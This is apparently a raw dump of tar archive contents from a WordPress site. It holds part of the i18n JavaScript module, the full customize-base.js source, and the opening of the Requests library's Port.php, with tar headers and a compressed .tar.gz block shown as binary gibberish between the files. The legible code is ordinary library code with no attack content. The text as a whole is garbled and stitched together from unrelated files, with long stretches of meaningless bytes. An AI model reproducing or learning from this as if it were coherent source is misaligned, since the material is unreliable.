 * @param {string} single   The text to be used if the number is singular.
 * @param {string} plural   The text to be used if the number is plural.
 * @param {number} number   The number to compare against to use either the
 *                          singular or plural form.
 * @param {string} [domain] Domain to retrieve the translated text.
 *
 * @return {string} The translated singular or plural form.
 */
const _n = i18n._n.bind(i18n);

/**
 * Translates and retrieves the singular or plural form based on the supplied
 * number, with gettext context.
 *
 * @see https://developer.wordpress.org/reference/functions/_nx/
 *
 * @param {string} single   The text to be used if the number is singular.
 * @param {string} plural   The text to be used if the number is plural.
 * @param {number} number   The number to compare against to use either the
 *                          singular or plural form.
 * @param {string} context  Context information for the translators.
 * @param {string} [domain] Domain to retrieve the translated text.
 *
 * @return {string} The translated singular or plural form.
 */
const _nx = i18n._nx.bind(i18n);

/**
 * Check if current locale is RTL.
 *
 * **RTL (Right To Left)** is a locale property indicating that text is written from right to left.
 * For example, the `he` locale (for Hebrew) specifies right-to-left. Arabic (ar) is another common
 * language written RTL. The opposite of RTL, LTR (Left To Right) is used in other languages,
 * including English (`en`, `en-US`, `en-GB`, etc.), Spanish (`es`), and French (`fr`).
 *
 * @return {boolean} Whether locale is RTL.
 */
const isRTL = i18n.isRTL.bind(i18n);

/**
 * Check if there is a translation for a given string (in singular form).
 *
 * @param {string} single    Singular form of the string to look up.
 * @param {string} [context] Context information for the translators.
 * @param {string} [domain]  Domain to retrieve the translated text.
 * @return {boolean} Whether the translation exists or not.
 */
const hasTranslation = i18n.hasTranslation.bind(i18n);

;// ./node_modules/@wordpress/i18n/build-module/index.js




})();

(window.wp = window.wp || {}).i18n = __webpack_exports__;
/******/ })()
;14338/reusable-blocks.js.js.tar.gz000064400000011462151024420100012451 0ustar00��<is�F����1�6](ɲ���dmY�x���r�U*kI� �`ь�����5��ڷU�$���������!��
�	��?����=1/d4
�Y���t��8�ҵ�ŋ�j�D^���>��t����I�v'a�}����y��yrx�M������}��x���ѓ��Ch?x���d�6�+<Oi(���g�P<�8=��'�d�&K�}|�)O��1���d�h�������$�,H`�/Y���&d<Vp�j�xL��ϛ"��ϠH�C��AR2>��4�Y&@g��Ɍ�)K8)��<)4�B�\9�L��K�8�d'dN�E�	�����gZ��G��K����;�ƏlM��4�<��`��p�N>��`z����PC��a�����RWr�bbiRD�Eق%h�$M2�G�
�����=-�ߔޖޕ�e�sz6�o���HK�h���߾�V��œ}!Cb���
i����-�t=��9�/eA?2Q����H,�^Gv�c�Ob?ar�VX���Z�O�h���!y���f�D�wQ�d���#0!���j��E��P�.i���u嚺5�*K�ݜ;�p��*�V�x�g�S6���܀����=y�������W;�
t, �d1���ޞ����|�<��!���!����)[�!����&L��l��(��	k�(:{;E��O�G���/�u|t6$� �}6^�m����_�_ë��`���+����h�vl4L
�b���
sz��~�x��1���3�4<��K�P��3�{���������Y�w���hܗ,d)+mrL�H�K�}8)�Y�
����pX���ܘ�kIN�F�i�a���,�V|
,d���hH�;�e���iJ;;�rj:ǫ�;,lX����s5����;R'V���xJ��@Ǜ1�Ԃ�7����бc+l9[B�+K��yH~���p:�K�u���7��u��,���O��'�H4k�D�5���$�\������	]��\����k_�
y�����58��ԛ��0����h����v$lk���>!\�b2L�c\�iNK�s�)傗+ 99h�ƒ˂������H�._�>e��;�e��3�1�jb൦�.%�$Kw6-��Jpt���ۅm⬧}��.�Lq�����#�.��>�)����>LPk��@L�ͯ��-Ch��uc�V�sN��Ӷ��-��ۂTs-�@,�i���
)>�^z^�z�i���M�!���$D��f_���|y�o�@�"H˚��Z�0'rP�xY� �qdW�`��k��/��p�/�����R|WV^t���y<�f]�d�(!š��8�=c�w5�UσAU��f���C�_�T��f�]p���H��I�w�?$P�r[j-��0�4����>R��TOQ���]f�0��l�-@��<˖p�3_�1�]� �h���^�V��l[a0��i��ګD(;��,dk�%�$�J��(�e:,/�
|�5,]A��J
�m�,;zn�`b��V����|��s?�'~~�W\a�0Jh�)�(v/��F�R|��8��p���NŔ�0�Wui�sh��\�����	S�]%�*�g]�%�S��/X�5����>��9ŵN�p��[��=R,Z��pW�)�!���P#�ҝ!`p${�ak��/G+r��nN,N�0	��Lӑ9����ut��7)i��u�(�‰�s&�v6�sC��y����H�ڂ&�=m�d)���f."�Z�^,�n`�|t|6>~����Ƨ��G�_�9�x��Ԅ&���G�*���IJ�M��]`�t�K~�3�?�+��q���AD�����2��r6�yu�҈iW�]���m��MJ�F'�8����eM�3�9�ٹ}p�0?�X�2�4��IGpWdN�J
�څ
��?��9�X}�`�7���+P��s%j�MC-|EV)�f�o��<4�pi�$O`�Gp]��m��K��:��T��=q���g����]R���"L�j`$t��E=Ӫ!��Wa<�!��exT�BA�Ԭ([LXR��=7~F��F���ܞ�FU�gȤ��
�%-�@��vn��nT0��6��Ƽ�T�ʖ�r;:{{z<�)��tu+�tss?BJ
U>a����yˈ
g���tɇ��ܣl"n�Ufp�G 3t�'�_���`~�΀U�C�Sh:9v�ߤ���I�����ű�[
ֽ�fV`���E�W�6mD�Z! B����(�h6�E>�
��8gIϑ>AC�t[�ok����?a�q�9ּ{+�"$;�%(+H�%��ʻ��*B���2����}*���*�J�����&zDUV�0�`1�>��(����gd��o�� �㇃�|mY���s�����JjȧE���A�}_�V���n���
�嬃
q@H��{d�¯h��|�h��C�;��u`�1'��#����>v���~�����߁���N�:E7�n\��8�]�#�������w�|�+��&�����#�?��0谈a��s�P+����#��*��fQ�~?�j_�<�C�&��o����q��?O��,�{�#��!I��v��$�@�"AvDJdG�ַ�PJ��Fh��ɶEqx
�@�m5F�mK�˦B��la�4�[�yr�X��9�
��^��U��]�Spx[W�v�5���5+�"����A8��J���=l�:{��H"���r�H�]vZ�昈�}y
'�|��<wu�nc�I�:�.�T�<\��x��K�U��=��2|M\�1gjU4'TƯ�hF��e�7�<R�t�z�n`�����ʢ,�J8V�Ou�^ȅ?�<#:0���{E7&��,۹N���H���{Z
���q��<p�L2���9�
߂�	��7B2�!gE�(��3|u#��n�G#�ؖ�&�r�S��DŽ�oYr�Ou�����,�a,�H�y�&s�j�Ղ��#|qS�E�L:-H�Utm�wIC�ĚoI@EQƫd��Op\�l%'{�w�+��J�&��j�h�RH��P1ai��:J�#��HS��ʊ��b�d��Fqi��6�V��K��%r�m����ƭ�=.j�h���gd5g��|�/
�F�k[���}�]J5����ɗ�b_�I��S�܅�!Y�̲F�*��O��:q�P.��H�,�������O�	:�᪉z�@�,	p�%
��q��G�=66Hh~�8�8x�~ڄaeA�<ܗ�I�A�l$�)	sq����UE���0]�֤��%#K�,����R,�"���j�F�E�X��$(�"�ڗ�͙,��L�dW�"%�7p��������/Ȃjꄄ|O��F�U;�{XPi!�ȫs� �"3�'�Z`�^� ���@�ޱ#�u�쥪(么2-�)��O��*<�~��8I�D6�o�߭�7��W��e�9�i���U�N��t���<�bLۋ��:��剧��s�y`*�?����!4��i�Q0Ai҄F<�2W�w�C��y�p!&i�t�u*�%C,F����H���
	�"�v{6.�q�_����b�5�
S���ڄ&�l�d����Q]�V�=.e���k����4�8�����U
�\X�3v'$	�5��A�kB���<ʰY��.�e���Ԋ�-��{n�l��m�?:C󢙛����.�՜vu��|s1�8��_�b��׊�Q�#k���V�#y�*%��1�eQ�}��ab̹��}�x-9O�㩈�5#sŪ�4RM��:�2�A�C
�}.E�974k%] �N}�n���4N��͈�Q6Y鐀��u��.�K�t
K'�!��(�mᛝsZ�a'��6�5�n��RW��~�`_�%6�h�aow����6g0�H�����A������Q�l�e�/��	MfA�"N�xa�	��(����G�K�O��9�flhĤ�/n�����*^kN�[��,�lQ<����M�s�2^���q8~�b�^uO�,\^��ZFg4���s�1�������UT"�C��8�MBP5��)d5K~u��q=yd6�����9!S	�t��E0���*��׬�t��k��*
(^��x���NuHŏ�"kq��a�CE�r�M<"
r���=ڏ;���ڶBF.\�Z��.v��6z�F��;22��+�YZ+�о��'��{��h܍�~-�~��?H-5�r��Υ�����o&����Ix��PSQ�^�(T5N�Պ�~S�ݕ2�N�z����ڝI��a�	�<��Qp��/�ߢ�P�/j&�*?i�-����j=�Z�S�?�V.8�`VE,ɷ~X��:g�w�p�Hq�0Nć��s!,��I�ΥS�	ms{1��/@`
g���y��_B�ѥ�I���w,D��	�LIc� ���c����,�I�P���#�HL���Df��Nx��pH����E�#O	�3���R�ߌ%���ܡ.ryWr�]Η%2`�s@6��-��+-P!�:X�X%��i��`����Ͽ����>C/�cF��J�5�����^5M�E�뤬����1��������*�įn�n����#�ݺ�꾽����3��*F�cr����ܱ;����q�oZ���+޹ؔ�ߝ,]���/K�:��M�"x]��������Z�� ���
�C+�|	�x���ǰΏ�L-n��ve��ݡ��e��:��M��-�J��ֲ��C�Ŏ9[���������82tWK��/_��
~|���0��%L����o��y���>����������ː�V14338/customize-base.js.tar000064400000066000151024420100011272 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/js/customize-base.js000064400000062336151024225220025265 0ustar00/**
 * @output wp-includes/js/customize-base.js
 */

/** @namespace wp */
window.wp = window.wp || {};

(function( exports, $ ){
	var api = {}, ctor, inherits,
		slice = Array.prototype.slice;

	// Shared empty constructor function to aid in prototype-chain creation.
	ctor = function() {};

	/**
	 * Helper function to correctly set up the prototype chain, for subclasses.
	 * Similar to `goog.inherits`, but uses a hash of prototype properties and
	 * class properties to be extended.
	 *
	 * @param object parent      Parent class constructor to inherit from.
	 * @param object protoProps  Properties to apply to the prototype for use as class instance properties.
	 * @param object staticProps Properties to apply directly to the class constructor.
	 * @return child The subclassed constructor.
	 */
	inherits = function( parent, protoProps, staticProps ) {
		var child;

		/*
		 * The constructor function for the new subclass is either defined by you
		 * (the "constructor" property in your `extend` definition), or defaulted
		 * by us to simply call `super()`.
		 */
		if ( protoProps && protoProps.hasOwnProperty( 'constructor' ) ) {
			child = protoProps.constructor;
		} else {
			child = function() {
				/*
				 * Storing the result `super()` before returning the value
				 * prevents a bug in Opera where, if the constructor returns
				 * a function, Opera will reject the return value in favor of
				 * the original object. This causes all sorts of trouble.
				 */
				var result = parent.apply( this, arguments );
				return result;
			};
		}

		// Inherit class (static) properties from parent.
		$.extend( child, parent );

		// Set the prototype chain to inherit from `parent`,
		// without calling `parent`'s constructor function.
		ctor.prototype  = parent.prototype;
		child.prototype = new ctor();

		// Add prototype properties (instance properties) to the subclass,
		// if supplied.
		if ( protoProps ) {
			$.extend( child.prototype, protoProps );
		}

		// Add static properties to the constructor function, if supplied.
		if ( staticProps ) {
			$.extend( child, staticProps );
		}

		// Correctly set child's `prototype.constructor`.
		child.prototype.constructor = child;

		// Set a convenience property in case the parent's prototype is needed later.
		child.__super__ = parent.prototype;

		return child;
	};

	/**
	 * Base class for object inheritance.
	 */
	api.Class = function( applicator, argsArray, options ) {
		var magic, args = arguments;

		if ( applicator && argsArray && api.Class.applicator === applicator ) {
			args = argsArray;
			$.extend( this, options || {} );
		}

		magic = this;

		/*
		 * If the class has a method called "instance",
		 * the return value from the class' constructor will be a function that
		 * calls the "instance" method.
		 *
		 * It is also an object that has properties and methods inside it.
		 */
		if ( this.instance ) {
			magic = function() {
				return magic.instance.apply( magic, arguments );
			};

			$.extend( magic, this );
		}

		magic.initialize.apply( magic, args );
		return magic;
	};

	/**
	 * Creates a subclass of the class.
	 *
	 * @param object protoProps  Properties to apply to the prototype.
	 * @param object staticProps Properties to apply directly to the class.
	 * @return child The subclass.
	 */
	api.Class.extend = function( protoProps, staticProps ) {
		var child = inherits( this, protoProps, staticProps );
		child.extend = this.extend;
		return child;
	};

	api.Class.applicator = {};

	/**
	 * Initialize a class instance.
	 *
	 * Override this function in a subclass as needed.
	 */
	api.Class.prototype.initialize = function() {};

	/*
	 * Checks whether a given instance extended a constructor.
	 *
	 * The magic surrounding the instance parameter causes the instanceof
	 * keyword to return inaccurate results; it defaults to the function's
	 * prototype instead of the constructor chain. Hence this function.
	 */
	api.Class.prototype.extended = function( constructor ) {
		var proto = this;

		while ( typeof proto.constructor !== 'undefined' ) {
			if ( proto.constructor === constructor ) {
				return true;
			}
			if ( typeof proto.constructor.__super__ === 'undefined' ) {
				return false;
			}
			proto = proto.constructor.__super__;
		}
		return false;
	};

	/**
	 * An events manager object, offering the ability to bind to and trigger events.
	 *
	 * Used as a mixin.
	 */
	api.Events = {
		trigger: function( id ) {
			if ( this.topics && this.topics[ id ] ) {
				this.topics[ id ].fireWith( this, slice.call( arguments, 1 ) );
			}
			return this;
		},

		bind: function( id ) {
			this.topics = this.topics || {};
			this.topics[ id ] = this.topics[ id ] || $.Callbacks();
			this.topics[ id ].add.apply( this.topics[ id ], slice.call( arguments, 1 ) );
			return this;
		},

		unbind: function( id ) {
			if ( this.topics && this.topics[ id ] ) {
				this.topics[ id ].remove.apply( this.topics[ id ], slice.call( arguments, 1 ) );
			}
			return this;
		}
	};

	/**
	 * Observable values that support two-way binding.
	 *
	 * @memberOf wp.customize
	 * @alias wp.customize.Value
	 *
	 * @constructor
	 */
	api.Value = api.Class.extend(/** @lends wp.customize.Value.prototype */{
		/**
		 * @param {mixed}  initial The initial value.
		 * @param {Object} options
		 */
		initialize: function( initial, options ) {
			this._value = initial; // @todo Potentially change this to a this.set() call.
			this.callbacks = $.Callbacks();
			this._dirty = false;

			$.extend( this, options || {} );

			this.set = this.set.bind( this );
		},

		/*
		 * Magic. Returns a function that will become the instance.
		 * Set to null to prevent the instance from extending a function.
		 */
		instance: function() {
			return arguments.length ? this.set.apply( this, arguments ) : this.get();
		},

		/**
		 * Get the value.
		 *
		 * @return {mixed}
		 */
		get: function() {
			return this._value;
		},

		/**
		 * Set the value and trigger all bound callbacks.
		 *
		 * @param {Object} to New value.
		 */
		set: function( to ) {
			var from = this._value;

			to = this._setter.apply( this, arguments );
			to = this.validate( to );

			// Bail if the sanitized value is null or unchanged.
			if ( null === to || _.isEqual( from, to ) ) {
				return this;
			}

			this._value = to;
			this._dirty = true;

			this.callbacks.fireWith( this, [ to, from ] );

			return this;
		},

		_setter: function( to ) {
			return to;
		},

		setter: function( callback ) {
			var from = this.get();
			this._setter = callback;
			// Temporarily clear value so setter can decide if it's valid.
			this._value = null;
			this.set( from );
			return this;
		},

		resetSetter: function() {
			this._setter = this.constructor.prototype._setter;
			this.set( this.get() );
			return this;
		},

		validate: function( value ) {
			return value;
		},

		/**
		 * Bind a function to be invoked whenever the value changes.
		 *
		 * @param {...Function} A function, or multiple functions, to add to the callback stack.
		 */
		bind: function() {
			this.callbacks.add.apply( this.callbacks, arguments );
			return this;
		},

		/**
		 * Unbind a previously bound function.
		 *
		 * @param {...Function} A function, or multiple functions, to remove from the callback stack.
		 */
		unbind: function() {
			this.callbacks.remove.apply( this.callbacks, arguments );
			return this;
		},

		link: function() { // values*
			var set = this.set;
			$.each( arguments, function() {
				this.bind( set );
			});
			return this;
		},

		unlink: function() { // values*
			var set = this.set;
			$.each( arguments, function() {
				this.unbind( set );
			});
			return this;
		},

		sync: function() { // values*
			var that = this;
			$.each( arguments, function() {
				that.link( this );
				this.link( that );
			});
			return this;
		},

		unsync: function() { // values*
			var that = this;
			$.each( arguments, function() {
				that.unlink( this );
				this.unlink( that );
			});
			return this;
		}
	});

	/**
	 * A collection of observable values.
	 *
	 * @memberOf wp.customize
	 * @alias wp.customize.Values
	 *
	 * @constructor
	 * @augments wp.customize.Class
	 * @mixes wp.customize.Events
	 */
	api.Values = api.Class.extend(/** @lends wp.customize.Values.prototype */{

		/**
		 * The default constructor for items of the collection.
		 *
		 * @type {object}
		 */
		defaultConstructor: api.Value,

		initialize: function( options ) {
			$.extend( this, options || {} );

			this._value = {};
			this._deferreds = {};
		},

		/**
		 * Get the instance of an item from the collection if only ID is specified.
		 *
		 * If more than one argument is supplied, all are expected to be IDs and
		 * the last to be a function callback that will be invoked when the requested
		 * items are available.
		 *
		 * @see {api.Values.when}
		 *
		 * @param {string} id ID of the item.
		 * @param {...}       Zero or more IDs of items to wait for and a callback
		 *                    function to invoke when they're available. Optional.
		 * @return {mixed} The item instance if only one ID was supplied.
		 *                 A Deferred Promise object if a callback function is supplied.
		 */
		instance: function( id ) {
			if ( arguments.length === 1 ) {
				return this.value( id );
			}

			return this.when.apply( this, arguments );
		},

		/**
		 * Get the instance of an item.
		 *
		 * @param {string} id The ID of the item.
		 * @return {[type]} [description]
		 */
		value: function( id ) {
			return this._value[ id ];
		},

		/**
		 * Whether the collection has an item with the given ID.
		 *
		 * @param {string} id The ID of the item to look for.
		 * @return {boolean}
		 */
		has: function( id ) {
			return typeof this._value[ id ] !== 'undefined';
		},

		/**
		 * Add an item to the collection.
		 *
		 * @param {string|wp.customize.Class} item         - The item instance to add, or the ID for the instance to add.
		 *                                                   When an ID string is supplied, then itemObject must be provided.
		 * @param {wp.customize.Class}        [itemObject] - The item instance when the first argument is an ID string.
		 * @return {wp.customize.Class} The new item's instance, or an existing instance if already added.
		 */
		add: function( item, itemObject ) {
			var collection = this, id, instance;
			if ( 'string' === typeof item ) {
				id = item;
				instance = itemObject;
			} else {
				if ( 'string' !== typeof item.id ) {
					throw new Error( 'Unknown key' );
				}
				id = item.id;
				instance = item;
			}

			if ( collection.has( id ) ) {
				return collection.value( id );
			}

			collection._value[ id ] = instance;
			instance.parent = collection;

			// Propagate a 'change' event on an item up to the collection.
			if ( instance.extended( api.Value ) ) {
				instance.bind( collection._change );
			}

			collection.trigger( 'add', instance );

			// If a deferred object exists for this item,
			// resolve it.
			if ( collection._deferreds[ id ] ) {
				collection._deferreds[ id ].resolve();
			}

			return collection._value[ id ];
		},

		/**
		 * Create a new item of the collection using the collection's default constructor
		 * and store it in the collection.
		 *
		 * @param {string} id    The ID of the item.
		 * @param {mixed}  value Any extra arguments are passed into the item's initialize method.
		 * @return {mixed} The new item's instance.
		 */
		create: function( id ) {
			return this.add( id, new this.defaultConstructor( api.Class.applicator, slice.call( arguments, 1 ) ) );
		},

		/**
		 * Iterate over all items in the collection invoking the provided callback.
		 *
		 * @param {Function} callback Function to invoke.
		 * @param {Object}   context  Object context to invoke the function with. Optional.
		 */
		each: function( callback, context ) {
			context = typeof context === 'undefined' ? this : context;

			$.each( this._value, function( key, obj ) {
				callback.call( context, obj, key );
			});
		},

		/**
		 * Remove an item from the collection.
		 *
		 * @param {string} id The ID of the item to remove.
		 */
		remove: function( id ) {
			var value = this.value( id );

			if ( value ) {

				// Trigger event right before the element is removed from the collection.
				this.trigger( 'remove', value );

				if ( value.extended( api.Value ) ) {
					value.unbind( this._change );
				}
				delete value.parent;
			}

			delete this._value[ id ];
			delete this._deferreds[ id ];

			// Trigger removed event after the item has been eliminated from the collection.
			if ( value ) {
				this.trigger( 'removed', value );
			}
		},

		/**
		 * Runs a callback once all requested values exist.
		 *
		 * when( ids*, [callback] );
		 *
		 * For example:
		 *     when( id1, id2, id3, function( value1, value2, value3 ) {} );
		 *
		 * @return $.Deferred.promise();
		 */
		when: function() {
			var self = this,
				ids  = slice.call( arguments ),
				dfd  = $.Deferred();

			// If the last argument is a callback, bind it to .done().
			if ( typeof ids[ ids.length - 1 ] === 'function' ) {
				dfd.done( ids.pop() );
			}

			/*
			 * Create a stack of deferred objects for each item that is not
			 * yet available, and invoke the supplied callback when they are.
			 */
			$.when.apply( $, $.map( ids, function( id ) {
				if ( self.has( id ) ) {
					return;
				}

				/*
				 * The requested item is not available yet, create a deferred
				 * object to resolve when it becomes available.
				 */
				return self._deferreds[ id ] = self._deferreds[ id ] || $.Deferred();
			})).done( function() {
				var values = $.map( ids, function( id ) {
						return self( id );
					});

				// If a value is missing, we've used at least one expired deferred.
				// Call Values.when again to generate a new deferred.
				if ( values.length !== ids.length ) {
					// ids.push( callback );
					self.when.apply( self, ids ).done( function() {
						dfd.resolveWith( self, values );
					});
					return;
				}

				dfd.resolveWith( self, values );
			});

			return dfd.promise();
		},

		/**
		 * A helper function to propagate a 'change' event from an item
		 * to the collection itself.
		 */
		_change: function() {
			this.parent.trigger( 'change', this );
		}
	});

	// Create a global events bus on the Customizer.
	$.extend( api.Values.prototype, api.Events );


	/**
	 * Cast a string to a jQuery collection if it isn't already.
	 *
	 * @param {string|jQuery collection} element
	 */
	api.ensure = function( element ) {
		return typeof element === 'string' ? $( element ) : element;
	};

	/**
	 * An observable value that syncs with an element.
	 *
	 * Handles inputs, selects, and textareas by default.
	 *
	 * @memberOf wp.customize
	 * @alias wp.customize.Element
	 *
	 * @constructor
	 * @augments wp.customize.Value
	 * @augments wp.customize.Class
	 */
	api.Element = api.Value.extend(/** @lends wp.customize.Element */{
		initialize: function( element, options ) {
			var self = this,
				synchronizer = api.Element.synchronizer.html,
				type, update, refresh;

			this.element = api.ensure( element );
			this.events = '';

			if ( this.element.is( 'input, select, textarea' ) ) {
				type = this.element.prop( 'type' );
				this.events += ' change input';
				synchronizer = api.Element.synchronizer.val;

				if ( this.element.is( 'input' ) && api.Element.synchronizer[ type ] ) {
					synchronizer = api.Element.synchronizer[ type ];
				}
			}

			api.Value.prototype.initialize.call( this, null, $.extend( options || {}, synchronizer ) );
			this._value = this.get();

			update = this.update;
			refresh = this.refresh;

			this.update = function( to ) {
				if ( to !== refresh.call( self ) ) {
					update.apply( this, arguments );
				}
			};
			this.refresh = function() {
				self.set( refresh.call( self ) );
			};

			this.bind( this.update );
			this.element.on( this.events, this.refresh );
		},

		find: function( selector ) {
			return $( selector, this.element );
		},

		refresh: function() {},

		update: function() {}
	});

	api.Element.synchronizer = {};

	$.each( [ 'html', 'val' ], function( index, method ) {
		api.Element.synchronizer[ method ] = {
			update: function( to ) {
				this.element[ method ]( to );
			},
			refresh: function() {
				return this.element[ method ]();
			}
		};
	});

	api.Element.synchronizer.checkbox = {
		update: function( to ) {
			this.element.prop( 'checked', to );
		},
		refresh: function() {
			return this.element.prop( 'checked' );
		}
	};

	api.Element.synchronizer.radio = {
		update: function( to ) {
			this.element.filter( function() {
				return this.value === to;
			}).prop( 'checked', true );
		},
		refresh: function() {
			return this.element.filter( ':checked' ).val();
		}
	};

	$.support.postMessage = !! window.postMessage;

	/**
	 * A communicator for sending data from one window to another over postMessage.
	 *
	 * @memberOf wp.customize
	 * @alias wp.customize.Messenger
	 *
	 * @constructor
	 * @augments wp.customize.Class
	 * @mixes wp.customize.Events
	 */
	api.Messenger = api.Class.extend(/** @lends wp.customize.Messenger.prototype */{
		/**
		 * Create a new Value.
		 *
		 * @param {string} key     Unique identifier.
		 * @param {mixed}  initial Initial value.
		 * @param {mixed}  options Options hash. Optional.
		 * @return {Value} Class instance of the Value.
		 */
		add: function( key, initial, options ) {
			return this[ key ] = new api.Value( initial, options );
		},

		/**
		 * Initialize Messenger.
		 *
		 * @param {Object} params  - Parameters to configure the messenger.
		 *        {string} params.url          - The URL to communicate with.
		 *        {window} params.targetWindow - The window instance to communicate with. Default window.parent.
		 *        {string} params.channel      - If provided, will send the channel with each message and only accept messages a matching channel.
		 * @param {Object} options - Extend any instance parameter or method with this object.
		 */
		initialize: function( params, options ) {
			// Target the parent frame by default, but only if a parent frame exists.
			var defaultTarget = window.parent === window ? null : window.parent;

			$.extend( this, options || {} );

			this.add( 'channel', params.channel );
			this.add( 'url', params.url || '' );
			this.add( 'origin', this.url() ).link( this.url ).setter( function( to ) {
				var urlParser = document.createElement( 'a' );
				urlParser.href = to;
				// Port stripping needed by IE since it adds to host but not to event.origin.
				return urlParser.protocol + '//' + urlParser.host.replace( /:(80|443)$/, '' );
			});

			// First add with no value.
			this.add( 'targetWindow', null );
			// This avoids SecurityErrors when setting a window object in x-origin iframe'd scenarios.
			this.targetWindow.set = function( to ) {
				var from = this._value;

				to = this._setter.apply( this, arguments );
				to = this.validate( to );

				if ( null === to || from === to ) {
					return this;
				}

				this._value = to;
				this._dirty = true;

				this.callbacks.fireWith( this, [ to, from ] );

				return this;
			};
			// Now set it.
			this.targetWindow( params.targetWindow || defaultTarget );


			/*
			 * Since we want jQuery to treat the receive function as unique
			 * to this instance, we give the function a new guid.
			 *
			 * This will prevent every Messenger's receive function from being
			 * unbound when calling $.off( 'message', this.receive );
			 */
			this.receive = this.receive.bind( this );
			this.receive.guid = $.guid++;

			$( window ).on( 'message', this.receive );
		},

		destroy: function() {
			$( window ).off( 'message', this.receive );
		},

		/**
		 * Receive data from the other window.
		 *
		 * @param {jQuery.Event} event Event with embedded data.
		 */
		receive: function( event ) {
			var message;

			event = event.originalEvent;

			if ( ! this.targetWindow || ! this.targetWindow() ) {
				return;
			}

			// Check to make sure the origin is valid.
			if ( this.origin() && event.origin !== this.origin() ) {
				return;
			}

			// Ensure we have a string that's JSON.parse-able.
			if ( typeof event.data !== 'string' || event.data[0] !== '{' ) {
				return;
			}

			message = JSON.parse( event.data );

			// Check required message properties.
			if ( ! message || ! message.id || typeof message.data === 'undefined' ) {
				return;
			}

			// Check if channel names match.
			if ( ( message.channel || this.channel() ) && this.channel() !== message.channel ) {
				return;
			}

			this.trigger( message.id, message.data );
		},

		/**
		 * Send data to the other window.
		 *
		 * @param {string} id   The event name.
		 * @param {Object} data Data.
		 */
		send: function( id, data ) {
			var message;

			data = typeof data === 'undefined' ? null : data;

			if ( ! this.url() || ! this.targetWindow() ) {
				return;
			}

			message = { id: id, data: data };
			if ( this.channel() ) {
				message.channel = this.channel();
			}

			this.targetWindow().postMessage( JSON.stringify( message ), this.origin() );
		}
	});

	// Add the Events mixin to api.Messenger.
	$.extend( api.Messenger.prototype, api.Events );

	/**
	 * Notification.
	 *
	 * @class
	 * @augments wp.customize.Class
	 * @since 4.6.0
	 *
	 * @memberOf wp.customize
	 * @alias wp.customize.Notification
	 *
	 * @param {string}  code - The error code.
	 * @param {object}  params - Params.
	 * @param {string}  params.message=null - The error message.
	 * @param {string}  [params.type=error] - The notification type.
	 * @param {boolean} [params.fromServer=false] - Whether the notification was server-sent.
	 * @param {string}  [params.setting=null] - The setting ID that the notification is related to.
	 * @param {*}       [params.data=null] - Any additional data.
	 */
	api.Notification = api.Class.extend(/** @lends wp.customize.Notification.prototype */{

		/**
		 * Template function for rendering the notification.
		 *
		 * This will be populated with template option or else it will be populated with template from the ID.
		 *
		 * @since 4.9.0
		 * @var {Function}
		 */
		template: null,

		/**
		 * ID for the template to render the notification.
		 *
		 * @since 4.9.0
		 * @var {string}
		 */
		templateId: 'customize-notification',

		/**
		 * Additional class names to add to the notification container.
		 *
		 * @since 4.9.0
		 * @var {string}
		 */
		containerClasses: '',

		/**
		 * Initialize notification.
		 *
		 * @since 4.9.0
		 *
		 * @param {string}   code - Notification code.
		 * @param {Object}   params - Notification parameters.
		 * @param {string}   params.message - Message.
		 * @param {string}   [params.type=error] - Type.
		 * @param {string}   [params.setting] - Related setting ID.
		 * @param {Function} [params.template] - Function for rendering template. If not provided, this will come from templateId.
		 * @param {string}   [params.templateId] - ID for template to render the notification.
		 * @param {string}   [params.containerClasses] - Additional class names to add to the notification container.
		 * @param {boolean}  [params.dismissible] - Whether the notification can be dismissed.
		 */
		initialize: function( code, params ) {
			var _params;
			this.code = code;
			_params = _.extend(
				{
					message: null,
					type: 'error',
					fromServer: false,
					data: null,
					setting: null,
					template: null,
					dismissible: false,
					containerClasses: ''
				},
				params
			);
			delete _params.code;
			_.extend( this, _params );
		},

		/**
		 * Render the notification.
		 *
		 * @since 4.9.0
		 *
		 * @return {jQuery} Notification container element.
		 */
		render: function() {
			var notification = this, container, data;
			if ( ! notification.template ) {
				notification.template = wp.template( notification.templateId );
			}
			data = _.extend( {}, notification, {
				alt: notification.parent && notification.parent.alt
			} );
			container = $( notification.template( data ) );

			if ( notification.dismissible ) {
				container.find( '.notice-dismiss' ).on( 'click keydown', function( event ) {
					if ( 'keydown' === event.type && 13 !== event.which ) {
						return;
					}

					if ( notification.parent ) {
						notification.parent.remove( notification.code );
					} else {
						container.remove();
					}
				});
			}

			return container;
		}
	});

	// The main API object is also a collection of all customizer settings.
	api = $.extend( new api.Values(), api );

	/**
	 * Get all customize settings.
	 *
	 * @alias wp.customize.get
	 *
	 * @return {Object}
	 */
	api.get = function() {
		var result = {};

		this.each( function( obj, key ) {
			result[ key ] = obj.get();
		});

		return result;
	};

	/**
	 * Utility function namespace
	 *
	 * @namespace wp.customize.utils
	 */
	api.utils = {};

	/**
	 * Parse query string.
	 *
	 * @since 4.7.0
	 * @access public
	 *
	 * @alias wp.customize.utils.parseQueryString
	 *
	 * @param {string} queryString Query string.
	 * @return {Object} Parsed query string.
	 */
	api.utils.parseQueryString = function parseQueryString( queryString ) {
		var queryParams = {};
		_.each( queryString.split( '&' ), function( pair ) {
			var parts, key, value;
			parts = pair.split( '=', 2 );
			if ( ! parts[0] ) {
				return;
			}
			key = decodeURIComponent( parts[0].replace( /\+/g, ' ' ) );
			key = key.replace( / /g, '_' ); // What PHP does.
			if ( _.isUndefined( parts[1] ) ) {
				value = null;
			} else {
				value = decodeURIComponent( parts[1].replace( /\+/g, ' ' ) );
			}
			queryParams[ key ] = value;
		} );
		return queryParams;
	};

	/**
	 * Expose the API publicly on window.wp.customize
	 *
	 * @namespace wp.customize
	 */
	exports.customize = api;
})( wp, jQuery );
14338/Port.php.tar000064400000006000151024420100007431 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/Requests/src/Port.php000064400000002741151024332040025411 0ustar00<?php
/**
 * Port utilities for Requests
 *
 * @package Requests\Utilities
 * @since   2.0.0
 */

namespace WpOrg\Requests;

use WpOrg\Requests\Exception;
use WpOrg\Requests\Exception\InvalidArgument;

/**
 * Find the correct port depending on the Request type.
 *
 * @package Requests\Utilities
 * @since   2.0.0
 */
final class Port {

	/**
	 * Port to use with Acap requests.
	 *
	 * @var int
	 */
	const ACAP = 674;

	/**
	 * Port to use with Dictionary requests.
	 *
	 * @var int
	 */
	const DICT = 2628;

	/**
	 * Port to use with HTTP requests.
	 *
	 * @var int
	 */
	const HTTP = 80;

	/**
	 * Port to use with HTTP over SSL requests.
